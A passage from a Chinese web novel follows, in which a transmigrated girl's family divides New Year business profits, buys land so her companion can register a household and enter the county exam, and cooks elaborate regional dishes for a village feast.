赵二贵给了他一巴掌:“你还不明白么,男儿不男儿的,是看脊梁骨!” 赵二贵捋了捋赵兴冬的头发,给他换上了厚实的粗布棉衣,套上防水的胶鞋,在他怀里塞了十个一两的碎银子,将装着干粮清水的包包挂在他肩上:“这些都是阿爹一文一分赚得,用着不亏心,你去了边疆,好好杀敌。” “你妹妹是女孩,但比你出息,堂堂正正做人,踏踏实实做事,不要想着投机取巧。” “待你杀敌获胜归来,我带着大春来接你,若不幸马革裹尸,我们会将你的尸骨葬在祖坟,儿啊,不要怕,阿爹在家等着你,去吧!” 被他一番教导,赵兴冬提醒灌顶,嗯了一声,在押军的催促上,终是上了路。 青华园和裴家之争,以裴家败落结束,青华园彻底在府城站稳了脚跟,一切进入正轨。 常平县的各种特产、橡胶园的橡胶产品,源源不断的流进青华园,通过大商小贩,卖到整个南平府,卖到全大赵。 在这样紧张有序的忙碌中,郭守云迎来了他科考的第一场。 第133章 第133章分红 回来了,回来了! 大年二十九,苏氏带着水晶眼镜,和村子里的妇人们,在村口的路旁看了又看,终于看到熟悉的身影。 棉花黑炭颠颠跑在最前,后面滚着两个黄底黑斑的球,刘青青和郭守云坐在大妞二妞身上,最后便是长长的马车队。 看着鲜衣怒马,衣衫飞扬的少年男女,苏氏有一瞬间的陌生恍惚,这还是她的女儿么?才短短几月不见,她身上多了一种上位者的淡然,那是一切竟在掌握中的的自信,这样的气质,她幼时在阿爹身上感受过。 苏氏眼角盈着泪水,迟迟不敢出声。 两马贴地飞到她面前,刘青青流畅的翻身下马,跳到苏氏面前,扑到她身上:“阿娘,饿死了,有吃的么?” 苏氏眼角的泪水,顿时憋回去了。 面前这个还是她跳脱贪吃的二女儿,适才一定是她眼花了。 她手指头点了刘青青的脑门一下:“晚饭村子里准备着呢,就等你们回来!先回去洗漱一下,吃碗米线垫垫底。” 清水沟村到府城的路行船一路畅通无阻,可惜,刘青青坐船会晕,这次回来便走的陆路。 出了府城城门后就是泥土路,大家伙吃了一肚子灰,确实该回去洗一洗。 等他们说完这几句话,马车才到面前停了下来,从车厢里跳下了许多青年男女,全是跟着去府城做工的村里人,每个人脸上洋溢着笑容,挎着大大的包袱皮恭敬的和刘青青告别。 等所有人下了马车,马车顿时空了一半,赵二贵领着人赶着马车送到刘家,偌大的院子顿时满满当当。 车厢里许多打包好的土仪,除了土仪,还有分红,必须她亲自去送。 回到家洗完尘,苏氏眼巴巴守在锅面前,看了几眼,手脚麻利的从锅里将肉块飞速的捞起。 吃坨坨肉啊。 苏氏解释:“知道你们今日回来,村长组织打了一头牛,两头猪,还有许多崽猪,晚上办长街宴。这些是刘鑫早上送过来的,你们先垫垫底。” 刘青青唔了一声,坨坨肉顾名思义,是将猪肉牛肉羊肉砍成拳头大小的一块,俗称一坨肉,其中又以崽猪的坨坨肉味道最好。 选十五公斤以下喂豆糠豆饼长大的小猪,宰杀放血后洗干净,清水浇透全身,再用晒干的厥鸡草覆盖,然后点燃。 当雪白的猪皮微微泛黄,木棍去掉草灰,再用小刀刮洗干净。 将洗得白白净净的小猪砍成拳头大小的块,冷水下锅,武火炖熟。 炖煮的时候不添加任何调料,非常讲究火候,要求一熟便捞起,他们回来得恰是时候。 刘慧兰从柜子里捡出花椒面、盐巴、辣椒、木姜子、蒜末、茴香粉等,调配在一起,每人分了一小碟蘸料。 大家坐在桌子面前,直接下手抓着坨坨肉蘸着蘸料啃。 入口微烫,猪肉肥而不腻,口感细嫩带着鲜,因是用豆糠养大的小猪,肉质没有一点腥味,还隐了一点淡淡的草木香。 配合木姜子和茴香特有的辛,成了一种层次丰富的美味。 大家啃得嘴角流汁,特别过瘾。 棉花黑炭加上碰碰瓷瓷,已经在门口蹭了好几圈,刘青青笑了笑,每只分了两块。 还好今年赚了钱,不然狗子都养不起了。 啃完坨坨肉,刘青青已经半饱,奔波了一路,想弄点口味重的汤汤水水解解乏。 她看见廊下晾着的长毛的豆腐灵机一动。 因为要做卤豆腐,苏氏磨了豆浆做豆腐,压实后切成小块,放在洗干净晒干的稻草上自然发酵。 经过了十多天,豆腐上已经长满了雪白的绒毛,散发着一股臭中带香的味道,不像末世的臭豆腐,是黑色的,白生生的绒毛,像一只只蒲公英卧在那里,还挺可爱。 取了十多块臭豆腐,切成麻将大小的块,放在油锅里煎炸,绒毛瞬间收缩,臭豆腐表皮变成了焦黄色,味道变成浓烈的香。 刘青青翻出铜锅,加入炖坨坨肉的汤,猛火煮沸,放一把豆芽韭菜,加入米线,大火煮沸后加一勺鲜肉糜,最后放入蒜苗和臭豆腐,装碗,再浇上一勺红彤彤的油辣子。 整个过程一气呵成,一碗小锅臭豆腐米线便做好了。 啃着坨坨肉的几人,鼻尖晕绕这股味道,纷纷表示也要来一碗。 雪白的米线躲在淡黄的汤汁中,翠绿的韭菜、胖嘟嘟的豆芽、淡粉色的鲜肉糜,还有金黄的臭豆腐块,油亮亮的红辣椒、堆积在碗里,将这碗米线的颜值拉满。 刘慧兰看了一遍便会了,让刘青青坐下先吃。 刘青青尝了一口,坨坨肉汤的鲜和臭豆腐的浓香,沾染在每一根米线上,让弹韧滑爽的米线,多了一种浓烈的鲜香,还有配菜的加持,各种复杂味道层层在舌尖爆炸,让她舒服的喟叹了一下,赶路的疲惫在这一口臭香汤汁中消散。 吃了一嘴米线的刘青青,迫不及待的夹起一块金黄色的臭豆腐咬了一块,先是焦脆发黄的外皮,而后是鲜嫩爆浆的豆腐汁儿,嘶,又烫又香,好吃! 再来一碗。 本来嫌弃长毛豆腐的郭守云,也被臭豆腐米线折服,低头干完第一碗的他发现刘青青已经开吃第二碗,皱皱眉,干脆利落的端走碗:“你肚子小,吃两碗过会又喊肚子疼,我来吧!” 每次吃撑到,刘青青就和碰碰瓷瓷并排躺在青华园屋子里的地毯上,让他挨个揉肚子。 揉得手酸是小事,听着她难受的哼哼唧唧,他也跟着难受。 苏氏:“……” 她看了一眼刘青青:“撑到了有你受的,阿青,把碗给我,那碗她吃过了,怎好再吃!阿兰,重新煮一碗。” 郭守云已经扒拉了两嘴:“啊,没事!” 青华园里的小吃,每一次刘青青眼馋尝一嘴,剩下的都归他,他已经习惯了。 苏氏狠狠瞪了刘青青一下。 这个死妮子,总可着劲儿欺负阿云。 看着对面欢快稀里哗啦吃米线的郭守云,她心中暗暗舒了口气,这个二女婿算是找对了。她的视线落在灶旁的刘慧兰,幽幽的叹了下,不晓得大女儿的姻缘在哪里呢。 正想着呢,赵垚走了进来。 他自来熟的将油盐糖茶归到柜子里,翠翠已经奔了过去:“垚叔,你来啦,我要的泥人带了么!” 赵垚侧身避开来柜子里取碗的刘慧兰,嗯,到他下巴了,好似个子长高了点? 他不动声色扫一眼走开的刘慧兰,腰也更细了呢。 赵垚脸朝着翠翠笑道:“带了带了!”他从怀里掏出一个活灵活现的小猴子,立在棍子顶端,挤眉弄眼的模样惹得翠翠咯咯咯的笑个不停。 表面上是看着翠翠,其实他余光一只瞟着刘慧兰,见她嘴角也勾了起来,不自觉的笑道:“今日去得晚,只剩一个好的,等明儿多带几个回来,每人都有!” 苏氏笑道:“你们去府城这些天,家里全靠刘鑫和赵垚帮忙操持。”她在村学里上课,家里堆肥卖种子河泥肥料这些事,她哪里懂啊,全靠赵垚刘鑫一天一趟的跑。 她眼光略过面前高高壮壮的青年,做事踏实周全,是个好孩子,和阿兰错了辈分,可惜了。 刘有山一听,呵呵扯过他坐下,捡了最大的一块坨坨肉塞给他:“垚兄弟,多谢你,来来来,吃块肉!” 他扭头吩咐刘慧兰:“阿兰,给你垚叔也煮一碗臭豆腐米线来!” 刘慧兰脆生生诶了一声,不一会端了一碗冒着热气的米线放在他面前,闻着便香,他立刻夹了一筷子,鲜,烫,香,好吃! “垚叔,给你辣椒油和盐,你自己添!” 赵垚接过调料罐子,幽怨的看了身边笑盈盈俏生生立着的刘慧兰一眼,他很老么,为什么要叫叔? 等他吃完,几人换到堂屋的八仙桌前拢账。 赵垚拿棍棒的手经过三个月的锻炼,将算盘打得噼里啪啦响:“这三个月,青华楼净利润970两,河泥肥料净利润80两,种子净利润75两。合计盈利1125两。” 青华楼因为有酒水的加持,挣钱速度那叫一个快。 河泥肥料和种子生意就不行了,完全是辛苦钱。他有点嫌弃这两门生意,等过会拢完账给刘青青提一提意见,是不是将这两门生意收缩一下。 刘青青嗯了一声:“府城的青华园净利润1万,当时将青华园的银子全部抽调了过去,所以青华楼占比百分之十的股份,有1千两的分红。” “也就是说,这个年,我们可以分红2125两。” 刘青青一笔一笔分配,郭守云在旁哗啦啦记录,不用算盘,雪白的纸上,鹅毛笔横平竖直,快速整洁的记录下刘青青的每一个字:“当时我们家凑了285两,村学取20两入股,刘鑫叔12两,垚叔20两,姜爷爷4两,温夫人(杨雪眉)50两,小婶方氏10两,表妹方宝珠6两,赵峰哥18两,合计425两。 按照比例分红,村学得100两,刘鑫叔60两,赵垚叔100两,姜爷爷20两,温夫人250两,小婶50两,宝珠30两,赵峰哥80两,合计2125两。” 对于这个分配,赵垚和刘鑫都没话说,一开始做蚂蚱粉生意的时候,就做好了拿不回本金的打算,哪里料到,短短半年的时间,这笔银子,便翻了五个倍。 他们现在后悔的是,当时为什么没有像刘家那样,举债投钱。 赵垚算了算自己手里的银子,除了分红得到的一百两,还有这几个月的薪水和奖金,他已经攒了200两,可以准备买房子成亲了。 他抱着自己的那一份银子,笑眯眯的看着刘慧兰和刘青青:“你们去府城见了大世面,你们说,我成亲的新房,买在府城好,还是买在县城好?” 第134章 第134章户籍 对于赵垚的诚心请教,刘有山拍着桌子喷着淡淡的酒气:“垚兄弟啊,有了银子当然是回老家,盖上一座三进的大院子!” 即便在外面见识了一番,他根深蒂固的朴素价值观没有改变,有钱的第一件事情是回村盖房,往大里盖!屋子里可以随便,但外面必须高端大气上档次,最好青砖黛瓦安排起来。 在外面再混得风生水起,回村不盖房,如同夜里穿新衣,吃肉不放盐,没劲。 苏氏拐了他一下,尴尬的笑道:“垚兄弟,他喝醉了,你别听他胡说!”榕树村的老宅都被赵家卖了,哪来的老家啊,当家的真是哪壶不开提哪壶,没眼力劲儿。 她笑道:“不如买在县城吧,你以后常驻青华楼,也有个落脚的地方!” 赵垚很纠结,左右拿不定主意,好似看见个人便随意询问:“阿兰、阿青、阿云,若是你们,你们会盖在哪儿?” 刘慧兰给大伙换上热乎的茶水,只当他随口一问,随意道:“自然是跟着爹娘!”小娘子自小跟在爹娘身边,这次去府城,和苏氏分离了三个月,这会子正腻歪在苏氏旁边,和翠翠挑花绳玩儿。 刘青青张嘴正要回答,赵垚双掌一击:“我知道了!” 他对着刘有山道:“您们说得太有道理了,必须回老家盖个院子,宽敞又风光,还要方便我落脚。” “嗯,城里有个小宅子,足够我住了。 我就在清水沟村买块地,盖个大院子,一来方便我往返县城和清水沟村落脚,二来,阿娘在城里住不惯,以后搬来清水沟村,能天天照看阿姐,逗逗宝儿,她日子也充实!” 刘有山和苏氏觉得他说得很有道理,又觉得哪里不对。 他眨巴眨巴眼睛才道:“可是,你家祖宅不是在榕树村么?” 赵垚嗨了一声:“榕树村只剩些远亲了,离清水沟村也不算远,有什么事,几步路就能过去。” 他定了下来,开始和刘有山愉快的讨论,将宅地基买在刘家的左边,还有右边。 宅子格局要怎么设计。 还热情的邀请苏氏刘慧兰刘青青郭守云一起发表建议出主意。 这次刘青青学乖了,呵呵笑了一声,拉着郭守云道:“还有好多土仪,我们得去送。” 苏氏不以为意,摆摆手让他们带上棉花黑炭碰碰瓷瓷,免得有不长眼的欺负人。 剩下几人由最细心的刘慧兰执笔,其他人出主意,画设计图。 碰碰瓷瓷吃饱了最爱做的事情便是翻着肚皮睡觉,却被刘青青过来,提着耳朵揉捏了一番:“你们两个胖家伙,快起来干活去!” 碰碰瓷瓷不情不愿的爬起来,瞪着迷蒙的眼睛,和棉花黑炭一起跟在两人后面,没办法,若不听话,就只能干看着棉花黑炭吃好吃的,两只脚的小崽子心狠着呢。 两人把土仪搬上船,一起摇着浆,慢悠悠顺流而下。 郭守云觑了她一眼:“你想要哪儿的房子,我去置办。” 他其实不明白刘青青莫名其妙的气闷,不就是房子么。 刘家分红有1425两,几人的薪水加奖金,合计有4百多两,也就是说,刘青青手里有2千两左右的银子可以动用。 清水沟村,县城,府城,只要喜欢,都可以来一座院子,既然拿不定主意,那就都买好了。 刘青青闷闷不乐,不是买房子的事,是有一种家里的小白菜长大,就要被猪拱了的心疼。 表面上她是妹妹,就心里年龄来说,她其实把刘慧兰当妹妹,看着自己精心呵护长大的小白菜,被外面的人暗暗觊觎,偏偏阿姊,按照本地的习惯,已经到了说亲的年龄,她只能干看着,什么都不能做,心里不得劲。 而且,赵垚这人,说句公道话,做事周全体贴仗义有主见,身材高大威猛,还会来事,除了一脸的络腮胡显老,没有其他毛病。 知道刘家没儿子,心机的把婚房盖在刘家旁边,阿姊以后嫁过去,和没嫁人一样,随时可以陪在父母身边,能体贴成这样,她也挑不出不是来。 当然,以刘家现在的家底来说,她可以运作一番,让刘慧兰去府城找一个高门,嫁进去做少奶奶,也不是不可以。但是,那些高门大户规矩大,定然看不上乡下出身的阿姊,阿姊活得不自在,有什么意思。 她努力奋斗,还不是为了一家子能舒舒心心无忧无虑的过日子。 算了,看阿姊的心意吧。 若将来阿姊心悦赵垚,那便罢了,若看不上,赵垚还纠缠不放,她有的是办法让赵垚搬走。 两人到了县城,先去方家送土仪,当晓得自己的银子翻了五倍,且以后每年 都能拿一笔分红的时候,方宝珠兴奋得跳了起来,扑在刘青青身上,喊着表姐威武。 临近过年,方家油铺的生意忙碌,只剩方氏在家,她看着眼前的小娘子,半年前来的时候,穿着过时布料的洗得发白的衣裳,灰头土脸,村里村气,才短短半年,她便成长为一座大园子的主人,这个成长速度,方家拍马也赶不及。 她瞬间做了一个决定,将儿子和女儿提溜出来往前一推:“阿青,你表哥表妹一天天在家胡闹,闹得我头昏,以后让他们跟着你打下手,可好?” 刘青青愕然了一下:“表妹年纪小了些吧?表哥不是要读书么?”她身边的管事,哪个不是身经百战练出来的啊。 方氏笑道:“你表哥读书都快成书呆子了,你带着他去见识见识,宝珠儿家务都学会了,你带着当个小丫头使唤,免得外面的人不放心。 以一年为限,若一年他们没有长进,你把他们送回来。” 刘青青嗯了一声,算是答应。 方氏做人干脆爽快,既然她开了口,让表哥表妹跟着经历一年,见见外面的世界,也好。 两人坐了一会,告辞去县衙。 温夫人杨雪眉接过他们送来的分红时,愣了一下,她当初不过为了丈夫的脸面,随手一投,抱着收不回的打算,哪知道竟然真的赚了银子,而且是本金的五倍。 银子是小事,看着刘青青带来的土仪,竟然是她心心念念的乳胶枕,和精致雨衣。 这东西在府城风靡一时,已经传到上京,婆婆写信来要她弄几个带回去,偏偏她忙着年关的事物,没空去府城,哪知道今日竟然得了。 她立马吩咐厨房,准备一桌最上等的席面,苦留两人吃饭。 席间,刘青青趁机请教温如初:“温大人,阿云想下场试一试,有没有什么限制?” 赵垚从县衙里辞职,现在办点事情,还真不方便。 南平江商路畅通,繁荣了县城的经济,还给县衙带来大笔的过船费,经过师爷的盘账,今年每人能发三两银子的过节费,账上还有大笔银钱,可以用来铺路建学,他正在前院和师爷念叨着,刘青青是常平县的送财童女,刘青青就送上门了。 对于这个小问题,温如初笑道:“这有什么难的,找五个人互相作保,带着户籍一起去衙门值房报个名就是!” 户籍,两人面面相觑,这是什么东西? 刘青青作为穿越人士,末世的时候全是扫脸识别,压根不管户籍,郭守云流落红尘外多年,更晓不得户籍为何物。 温如初看他们的神色,失笑道:“你们回去找大人,他们收着呢。”再老成的小孩子,还是小孩子,也有迷糊的时候。 两人出了县衙,又去找姜老大夫,老头子红光满面,神采奕奕,眉飞色舞,收下分红土仪后,又塞了一包银子给刘青青:“这是一洗净赚得钱,有一百两,我给你收着呢。老头子我现在每天能换着花样吃,不用心疼银子啦!” 刘青青看着他胖了一圈脸颊,忧心忡忡道:“姜爷爷,我跟你说,我在府城弄了杂货铺子,好多小姑娘来,嫌弃我那里没有脂粉,您得帮帮我!”找点事给他做,免得天天下馆子吃饭,重油重盐,吃出病来。 姜老大夫眉头一皱:“脂粉,这我不会啊!” 刘青青启发他:“烧伤了是不是用冰水敷可以止疼退红,女孩子的脸颊也有很多问题,比如粗糙啦,油腻啦,长痘痘,长斑啊,您调配些产品出来,可以改善这些症状,相信我,一定财源滚滚,比一洗净赚钱多了!” 她随手把那包银子塞给他:“这些就是您的试验金,尽管用,用完了我再送来,只要出产品,效果好,我们不怕费钱。 最好洗的,擦的,敷的,都要!” 有心要做这门生意,刘青青想起青华园里,管客房的大春抱怨,总有客人不小心留下污渍,洗不干净的床单只有报废。 她假装无意道:“我那杂货铺子的伙计发现,烧碱和猪油一起熬煮,冷却成块的东西,后能很好的洗干净床单,您也可以试一试。” 姜老大夫不疑有他,满脸放光立马寻摸东西试验起来。 又来了又来了,郭守云看了她一眼,阿青又无中生有,他怎么不晓得哪个伙计发现了这件事。 刘青青不解摸了摸脸颊:“干嘛,我脸上有东西?”难道吃饭的时候沾了汤汁? 她还是对他有隐瞒。 郭守云摇摇头:“没有,我是想,我们找哪五个人一起报名?” 两个人回到清水沟村的时候,已经天黑。 刘青青找到苏氏:“阿娘,阿云的户籍呢,阿云要报名考试!” 苏氏和刘有山措手不及:“户籍啊,阿云户籍还没办呢!” 才读了半年书,就要去报名下场,会不会太早了些,村子里的都是读了五六年才报名呢。 第135章 第135章落户 刘有山和苏氏看着郭守云稚嫩的脸,不明白他小小年纪,下场做什么?人家赵峰五岁入学,风雨无阻在镇上念了十年书,都没想着下场。 这两孩子,也太敢想了。 苏氏小心翼翼解释:“平时用不上户籍,所以一直没有办。真要报名下场啊,要不再沉淀几年?”主要是考虑万一阿云找到自己的生父生母要回家,这办了户籍文书,以后要转,麻烦着呢。 刘青青无语,读书这种事,不是看时间长久,而是拼天分的。 郭守云在丛林里,在巨大生存压力下,形成的强大观察力和记忆力,背书上,实在太有天分了,过目不忘夸张了些,但也大差不离。 当然,他想象力上有所欠缺,写的诗如同便秘一般,飞流直下三千尺这种诗,他便觉得人家诗人肯定是眼瞎,还不会用尺子,和她吐糟取笑了一番。 刘青青就很无语,洋洋洒洒长篇大论了夸张的修辞手法,一看对方,仍旧是懵逼状态。她瞬间放弃了努力。 他不会写,不妨碍他会背啊。 谢玉华出手,专门给他整理了一本诗集,涉及方方面面,到考场上,郭守云不用临场发挥书写,只要破题后,把肚子里类似的诗词背一首出来,适当修改一下,书写在卷子上,便可以了。 这种套答案的思路,让谢玉华眼前一亮,不仅弄出了常考诗词分类一千首,还有时政策论一千篇,不可谓不敬业。苦了郭守云,整整背了一个月才背完。 刘青青不好解释,便道:“家里现在不缺这点报名费,每年都去试一次,一来摸摸底为来年铺路,二来侥幸中了,凭阿云的岁数,必然一举成名,又可以为我们青华园的产品作一波宣传。” 刘有山颔首,表示明白了,这是青华园的一种变相宣传。 两人询问郭守云:“你的户籍,是落在刘家么?” “若在刘家,就要改名成刘守云,开祠堂进族谱,成为刘家真正的一分子!” 郭守云瞥了眼身边的刘青青,那她就成他名誉上的妹妹,族法规定,族内是不能成亲的。顿觉不合适,“那,若户籍不落在刘家呢?” 刘有山顿了顿道:“这,我还真不知道,我们去问问村长。” 刘宝贵给了答复:“需要寻三名证人,证明他不是金国的奸细就可以了,户籍可以落在名下的住宅里。” 村长还有一句话没有说,郭守云可以落户刘家,但是,那便是上门女婿,按照律法,上门女婿不能参加科举。 懂了,要有房子,才能落户籍。 郭守云立马和刘青青商量:“我就在老宅隔壁盖一座院子,落户清水沟村?” 刘青青皱眉不同意,她对于房子的观念和刘有山不同,她的思维是房子属于投资属性,买的房子必须具有流通的功能,清水沟村他们家已经有住宅了,为什么还要再盖呢,那不是浪费银子么。 她眉头皱成个川字:“要不,去府城里买一个院子?” 郭守云不赞同:“家里现在日子好过了许多,却一大家子挤在小小的几间房子里,确实不够住。” “阿爹一辈子的梦乡便是住上宽敞的大房子,家里生意越做越大,也该翻新一下。” 刘家的房子是土墙石片顶,住着舒服,但不如主流的砖瓦房美观大气。 他抛出了一个刘青青无法拒绝的理由:“碰碰瓷瓷越来越胖,后院那点地方,不够它们跑跳啊!” 刘青青一想到两只黄底黑斑球每日懒洋洋慢吞吞滚在后院,一阵心塞,决定下来,重新圈一片地,盖个大院子,能让碰碰瓷瓷棉花黑炭撒欢跑那种。 和村长一说,村长摸着下巴的胡须道:“这一年村里人赚了钱,村子周边的宅基地全都卖完了,特别是河岸那一片,大家都说那里风水好,抢着买,价格涨到三两银子一亩。” 村长早早留了一块约摸十亩的地在刘家旁边,准备给孙子宝儿 将来娶媳妇盖新房,被赵垚要了去,说是打算搬来清水沟村。 儿媳妇赵翠娥懂事,临盆在即,亲家搬过来,也有个照应,他做主把那块地,原价卖给了赵垚。 他指着地图上,远离村子挨近山脚的一片荒地:“不仅宅地基,好一些的荒地都被买完了,只剩这一片盐碱地,虽然临近河边,只窸窸窣窣长了几棵草,没人买了开荒。又因挨着山脚,也没人愿意在这里盖房,剩下了来,你们要么?” 其他人家担心院子临近山脚,遭到野兽的袭击不安全,但刘家不一样,他们家里的棉花黑炭,威风凛凛,还有两只半大的老虎,哪种野兽不长眼敢去他们家啊。 村长是懂刘家的。 刘青青只扫了一眼,立马相中了这片地,距离后山不算太远,挨着清水河,修建个小码头,交通畅通无阻,用来盖新院子,太合适不过。 当场拍板定了下来,因为是盐碱地,价格低廉,只要二两五一亩,合计四十亩,一百两。地契上写了郭守云的名字。 村长收下银子,呵呵笑道:“你们只管勘测盖房去,我会尽快去衙门,帮你把户籍办好!” 回到家,听说刘青青又买了一片地盖房,刘有山激动得哈哈笑了起来,猛地一拍郭守云:“好小子,好样的!” 一家人围在一起,讨论盖房的细节。 刘有山:“要个待客厅,又宽又大,一次能接待二三十人那种!”他经常接待来买种子肥料的村民,大家挤在小板凳上谈生意,忒局促了。 苏氏想了想道:“要有大大的窗户,我要刺绣。” …… 每个人提了要求不一样,必须要两层才够啊。 画好设计图后,盖楼的事情便交给刘有山,由他负责请人来盖房打地基立桩。 大年三十,天才蒙蒙亮,整个清水沟村忙碌了起来,因为,清水沟村过年的传统,不是一家人吃年夜饭,而是全村子一起,举办长街宴。 这一天,大家清扫干净街道,将自家擦得锃亮的桌子抬到街上,一家挨着一家,摆成一条长龙。 忙碌到下午的时候,将自家最好的,拿得出手的菜式做五个,热气腾腾的端到桌子上,全村子的村民,端着碗筷互相品尝,哪家桌子上的菜被最先吃完,那么,他们家便是清水沟日子过得最好的家庭。 不仅名头上好听,也有实惠的,这样家庭是其他家争相结亲的对象,儿子不愁娶媳妇,闺女一般可以高嫁。 刘青青咂摸了一会,这不就是变相的炫富么。 按照她的意思,随便炖个鸡,弄条鱼,炒个肉就过去了,不过刘有山将她轰出了厨房:“你个小屁孩懂啥,这是脸面!” 去年刘老太那么扣的人,长街宴都下血本割了一条肉炒了,可惜扣性不改,没放盐,还弄了个素鸡素鸭素鹅素鱼凑够五谷丰登,正月间他一出门,被村子里其他人指指点点,笑话了大半年。 今年好不容易宽裕些,必须上,上最好的菜。 斟酌了大半天,刘家定下的菜式是蒸吹肝,舂鸡,包烧鱼,青苔片,和泡鲁达。 青苔片最为繁琐。 大清早的,刘有山拿漏网到清水河上游最清澈的地方,将里头的青苔一缕缕捞起来,带回家。 捡干净其中的杂草枯枝,揉洗干净后控干水份,接下来加入芝麻,将青苔匀匀铺一层在洗干净的薄石板上,架火烤制石板,通过石板的热量,将青苔片烤熟烤干。 放凉后的青苔片薄如蝉翼,晶莹翠绿,入口香脆,刘青青觉得,比海苔片美味。 那句话怎么说来着,河的味道,谁吃谁知道。 吹肝的做法很考究,腊月杀年猪的时候,取下红褐色的猪肝,去掉苦胆冲洗干净,用竹筒打气筒将猪肝打满气,再灌入佐料扎进,挂在廊下,依靠山风将其吹干。 清水沟村早晚温差大,午间暖和炙热,夜间风大露重,这样的气候洗礼下,红褐色的猪肝,快速失去水分,变成了褐灰色,胆固醇消失,只剩下纤维状的蜂窝孔,吃的时候取下洗净切片蒸熟,配一个折耳根卤豆腐蘸水,入口脆香耐嚼,那种清凉解腻的感觉,不要太上头。 舂鸡做法相对简单,也只是相对。 土鸡洗干净加姜片炖熟,控干汤汁后滤去大骨,撕碎放到石臼中,加入焯过水的香椿芽,才冒头的花椒尖,嫩嫩的藤椒苗,蒜末,还有在明火上烤香的胡辣子,炒香的花生碎,再来一勺滚烫的热油,一下一下用石锤敲打,将鸡肉和各种佐料充分打碎融合在一起,就成了一道麻辣鲜甜香的美味。 通过石臼的敲打,鸡肉的香甜得到了最大程度的散发,又同各种调料和香草味道融合在一起,相辅相成,让人念念不放。 捞起的罗非鱼刮鳞去内脏,用盐巴姜片腌制后,在肚子里塞入香茅草撑起复原成完整的鱼儿,整条鱼儿层层裹上芭蕉叶,放到明火中烧,直到外表的芭蕉叶变成黑糊。 一层层揭开包裹的芭蕉叶,犹揭开心上人的衣衫,直到露出里头雪白冒着香甜气息的鱼肉。 罗飞鱼只有大骨,没有小刺,是最便宜的雨种,但通过这样的做法,只留住鱼肉的鲜甜,嫩香得能吞掉舌头。 最后便是泡鲁达,也叫帕露达,像是一个少女的芳名。 最下面是木薯面做的西米,煮熟后变得晶莹剔透,一颗颗如同露珠,加入适量的饼干,椰丝,再放入香脆的饼干块,最后倒入滚烫的甜牛奶。 香甜酸辣脆,集齐一桌菜。 第136章 第136章鲜花饼 大年三十当天下午申时,村长刘长贵,穿过长长的桌宴,看着桌子上的牛撇撒、烤乳猪、黄焖山羊,豆豉鱼,花椒鸡……,不禁发出感叹,变了,清水沟村真的变了。 同样长桌宴,去年村民们竭尽全力,白斩鸡,红烧肉,清汤鱼便是压轴大菜。 今年却多了牛羊鸭虾,花样繁多,而且全是耗油耗糖的做法。 村民们的身上,换上了款式新颖的新衣,脸上露出了真心实意的笑容,捧着酒杯,热情的恭候一边。 村长端着一只崭新的木盆,每经过一家桌子,就由身后的刘青青上前,将桌子上的菜式夹一点放在盆里,这是所有百姓对火神的供奉。 村长领着刘青青,庄严肃穆的走过所有长桌,将收集来的一盆食物,放在村子头已经搭建好的篝火上,刘青青点燃了加了松油的柴火。 转瞬点,火苗立刻跳动燃烧起来,橘黄的火苗带着滚烫的热浪将祭祀的木盆淹没,烧得一干二净。所有村民高声欢呼,感谢火神多清水沟村的护佑。 郭守云看着站在人群最前面的刘青青,小娘子面色肃穆,带着高高在上的淡然,但从她微微勾起的眼角,可以看出,被村民们共同推选为祭祀,这是对她的一种高度认可,她心底其实是开心的。 等祭祀完,村长转过身,刘青青上前一步朗声道:“各位叔叔伯伯,我们家阿云今年将报名下场科举,若各家读书的哥哥愿意,也可以一起,只要是我们村的学子,下场期间的开销,由青华楼统一负责。” 她才说完,人群犹落了 水的油锅,哗啦炸了开来。 只要是读了书的人,谁不想在科举上拼一把呢,但里头有个制约。 县试一般有五场,每隔三天举行一次考试,考试的时候,天还不亮便要入龙门等待搜查,考完后等待下一场,意味着这期间必须吃住在县城。 衙门发试卷,但笔墨需要自己准备,还有衣裳也有要求,最大的费用,便是要请一名廪生作保,对于农家子弟来说,这是一笔大费用,所以,一般学子有了八成的把握,才敢报名下场。 村民们跟着刘家今年赚了一笔钱,吃穿上舍得了些,但也舍不得拿着银钱做打水漂这样的事。 有了青华楼兜底,家里有学子的都可以下场。考中了最好,考不重见见世面也是好的。 大家笑得更开心了,大声不失恭敬的对着刘青青,询问去哪儿报名。 刘青青安抚住大家,让大家准备好户籍交给村长,一起作保报名下场。 人群里的郭守云愕然了一下,县考需要填写亲供,包括姓名、年龄、籍贯、体貌、父母三代存殁履历,还要找五个一起参加考试的人,互相结保,一旦作弊便要五人连坐。 因身世说不清楚,他正愁着作为孤儿填写亲供后,这样的履历没人愿意和他结保怎么办,不想刘青青釜底抽薪,把一村子的读书人都弄去下场,这样一来,一个村子互相结保,瞬间解决了他的困扰。 他如墨的眸子,幽幽的看着前面笑而不语,接受大家谢意的刘青青,这样多花费了好多银钱,她一定心疼极了罢? 刘青青有钱,不意味着她喜欢乱花钱,相反,她对自己相当的扣门,但对他,一直把钱当纸用。 总共有十九个学子报名,加上郭守云正好二十。郭守云的结保文书,便被刘青青轻飘飘的给摆平了。 长桌宴在大家心满意足互相恭维的吃吃喝喝中落下帷幕。 报完名,刘青青找牙行的徐良,在县城安静的街道租了一幢二进的院子,前院搬空后摆上书桌,后院五间正房,一溜摆上单人小木床,将村子里的这二十个学子安顿下来。 专门从青华楼调了个厨子过去,一日三餐保证营养,晚间再来一顿宵夜。 郭守云也被关在里头,在浓厚的学习气氛下,心无旁骛的作最后的冲刺。 二月十六,是开考的日子。 天微微亮,无数的考生挤在龙门前,等待士兵的搜查进入考场。 但有一伙考生鹤立鸡群。 他们二十个人,全部穿着一模一样款式的天青色学子服,提着一模一样的考篮,衣服领口上心机的绣了一颗巍巍挺拔的青松,那是青华楼的标志,表示长青不衰。 这样一堆神采奕奕衣衫光鲜的学子入场,自然引来不少嫉妒的眼线,甚至风言凉语。 “换身新衣裳就能考中,痴人做梦!” “啧,哗众取宠,以为穿得标新立异,就能有成绩了?败絮其中。” “嘶,那个排第一的,还没长毛的吧?莫不是把童生试当过家家,四书读完了么,就来下场,这是对科举的亵渎!” …… 在所有人的注目礼和窃窃私语中,清水沟学子排列整齐,按照年龄小大到大排队,目不斜视,笔直如松,安静的等待士兵的搜身。 这一个月的闭关冲刺中,刘青青除了请谢玉华对他们做了押题训练,还做了各种异常模拟考训练。 这点闲话算什么,有一次模拟考的时候,刘青青弄了一个骂街的泼妇来,对着奋笔疾书的众人破口大骂,挑挑拣拣,从身材到面貌到出身,对各人的缺点,进行了精准的全方位三百六十度无死角的讥讽打击。 